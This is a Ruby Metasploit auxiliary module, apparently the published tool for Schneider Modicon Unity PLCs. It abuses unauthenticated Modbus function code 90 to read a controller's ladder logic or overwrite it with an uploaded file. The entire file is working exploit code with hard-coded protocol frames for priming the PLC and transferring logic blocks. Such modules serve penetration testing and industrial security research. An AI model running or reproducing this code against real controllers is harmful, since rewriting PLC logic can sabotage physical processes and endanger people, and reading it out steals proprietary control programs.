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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::Tcp
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  include Rex::Socket::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Schneider Modicon Ladder Logic Upload/Download',
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      'Description'    => %q{
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        The Schneider Modicon with Unity series of PLCs use Modbus function
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        code 90 (0x5a) to send and receive ladder logic.  The protocol is
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        unauthenticated, and allows a rogue host to retrieve the existing
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        logic and to upload new logic.
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        Two modes are supported: "SEND" and "RECV," which behave as one might
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        expect -- use 'set mode ACTIONAME' to use either mode of operation.
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        In either mode, FILENAME must be set to a valid path to an existing
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        file (for SENDing) or a new file (for RECVing), and the directory must
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        already exist.  The default, 'modicon_ladder.apx' is a blank
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        ladder logic file which can be used for testing.
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        This module is based on the original 'modiconstux.rb' Basecamp module from
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        DigitalBond.
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      },
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      'Author'         =>
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        [
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          'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
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          'todb' # Metasploit fixups
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        ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
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        ],
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      'DisclosureDate' => '2012-04-05'
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      ))
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    register_options(
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      [
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        OptString.new('FILENAME',
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          [
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            true,
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            "The file to send or receive",
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            File.join(Msf::Config.data_directory, "exploits", "modicon_ladder.apx")
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          ]),
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        OptEnum.new("MODE", [true, 'File transfer operation', "SEND",
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          [
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            "SEND",
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            "RECV"
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          ]
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        ]),
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        Opt::RPORT(502)
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      ])
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  end
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  def run
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    unless valid_filename?
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      print_error "FILENAME invalid: #{datastore['FILENAME'].inspect}"
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      return nil
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    end
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    @modbuscounter = 0x0000 # used for modbus frames
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    connect
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    init
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    case datastore['MODE']
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    when "SEND"
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      writefile
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    when "RECV"
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      readfile
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    end
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  end
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  def valid_filename?
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    if datastore['MODE'] == "SEND"
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      File.readable? datastore['FILENAME']
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    else
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      File.writable?(File.split(datastore['FILENAME'])[0].to_s)
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    end
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  end
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  # this is used for building a Modbus frame
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  # just prepends the payload with a modbus header
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  def makeframe(packetdata)
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    if packetdata.size > 255
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      print_error("#{rhost}:#{rport} - MODBUS - Packet too large: #{packetdata.inspect}")
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      return
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    end
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    payload = ""
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    payload += [@modbuscounter].pack("n")
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    payload += "\x00\x00\x00" #dunno what these are
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    payload += [packetdata.size].pack("c") # size byte
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    payload += packetdata
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  end
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  # a wrapper just to be sure we increment the counter
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  def sendframe(payload)
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    sock.put(payload)
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    @modbuscounter += 1
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    # TODO: Fix with sock.timed_read -- Should make it faster, just need a test.
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    r = sock.recv(65535, 0.1)
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    return r
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  end
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  # This function sends some initialization requests
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  # required for priming the Quantum
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  def init
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    payload = "\x00\x5a\x00\x02"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x00\x01\x00"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x00\x0a\x00" + 'T' * 0xf9
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x00\x03\x00"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x00\x03\x04"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x00\x04"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x00\x01\x00"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x00\x0a\x00"
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    (0..0xf9).each { |x| payload += [x].pack("c") }
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x00\x04"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x00\x04"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"
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    payload += "USER-714E74F21B" # Yep, really
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    #payload += "META-SPLOITMETA"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x01\x04"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x01\x50\x15\x00\x01\x0b"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x01\x50\x15\x00\x01\x07"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x01\x12"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x01\x04"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x01\x12"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x01\x04"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x00\x02"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x01\x04"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
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    sendframe(makeframe(payload))
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  end
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  # Write the contents of local file filename to the target's filenumber
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  # blank logic files will be available on the Digital Bond website
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  def writefile
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    print_status "#{rhost}:#{rport} - MODBUS - Sending write request"
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    blocksize = 244	# bytes per block in file transfer
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    buf = File.binread(datastore['FILENAME'])
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    fullblocks = buf.length / blocksize
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    if fullblocks > 255
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      print_error("#{rhost}:#{rport} - MODBUS - File too large, aborting.")
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      return
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    end
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    lastblocksize = buf.length - (blocksize*fullblocks)
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    fileblocks = fullblocks
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    if lastblocksize != 0
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      fileblocks += 1
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    end
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    filetype = buf[0..2]
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    if filetype == "APX"
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      filenum = "\x01"
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    elsif filetype == "APB"
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      filenum = "\x10"
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    end
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    payload = "\x00\x5a\x00\x03\x01"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x00\x02"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x01\x04"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x00\x02"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x01\x04"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x00\x58\x02\x01\x00\x00\x00\x00\x00\xfb\x00"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x00\x02"
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    sendframe(makeframe(payload))
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    payload = "\x00\x5a\x01\x30\x00"
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    payload += filenum
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    response = sendframe(makeframe(payload))
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    if response[8..9] == "\x01\xfe"
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      print_status("#{rhost}:#{rport} - MODBUS - Write request success!  Writing file...")
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    else
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      print_error("#{rhost}:#{rport} - MODBUS - Write request error.  Aborting.")
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      return
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    end
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    payload = "\x00\x5a\x01\x04"
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    sendframe(makeframe(payload))
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    block = 1
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    block2status = 0 # block 2 must always be sent twice
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    while block <= fullblocks
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      payload = "\x00\x5a\x01\x31\x00"
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      payload += filenum
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      payload += [block].pack("c")
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      payload += "\x00\xf4\x00"
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      payload += buf[((block - 1) * 244)..((block * 244) - 1)]
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      res = sendframe(makeframe(payload))
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      vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"
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      if res[8..9] != "\x01\xfe"
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        print_error("#{rhost}:#{rport} - MODBUS - Failure writing block #{block}")
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        return
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      end
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      # redo this iteration of the loop if we're on block 2
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      if block2status == 0 and block == 2
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        print_status("#{rhost}:#{rport} - MODBUS - Sending block 2 a second time")
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        block2status = 1
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        redo
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      end
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      block += 1
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    end
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    if lastblocksize > 0
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      payload = "\x00\x5a\x01\x31\x00"
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      payload += filenum
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      payload += [block].pack("c")
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      payload += "\x00" + [lastblocksize].pack("c") + "\x00"
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      payload += buf[((block-1) * 244)..(((block-1) * 244) + lastblocksize)]
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      vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"
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      res = sendframe(makeframe(payload))
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      if res[8..9] != "\x01\xfe"
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        print_error("#{rhost}:#{rport} - MODBUS - Failure writing last block")
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        return
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      end
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    end
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    vprint_status "#{rhost}:#{rport} - MODBUS - Closing file"
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    payload = "\x00\x5a\x01\x32\x00\x01" + [fileblocks].pack("c") + "\x00"
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    sendframe(makeframe(payload))
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  end
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  # Only reading the STL file is supported at the moment :(
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  def readfile
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    print_status "#{rhost}:#{rport} - MODBUS - Sending read request"
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    file = File.open(datastore['FILENAME'], 'wb')
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    payload = "\x00\x5a\x01\x33\x00\x01\xfb\x00"
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    response = sendframe(makeframe(payload))
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    print_status("#{rhost}:#{rport} - MODBUS - Retrieving file")
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    block = 1
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    filedata = ""
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    finished = false
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    while !finished
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      payload = "\x00\x5a\x01\x34\x00\x01"
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      payload += [block].pack("c")
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      payload += "\x00"
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      response = sendframe(makeframe(payload))
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      filedata += response[0xe..-1]
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      vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{response[0xe..-1].inspect}"
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      if response[0xa] == "\x01" # apparently 0x00 == more data, 0x01 == eof?
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        finished = true
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      else
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        block += 1
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      end
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    end
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    print_status("#{rhost}:#{rport} - MODBUS - Closing file")
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    payload = "\x00\x5a\x01\x35\x00\x01" + [block].pack("c") + "\x00"
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    sendframe(makeframe(payload))
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    file.print filedata
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    file.close
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  end
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  def cleanup
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    disconnect rescue nil
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  end
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end
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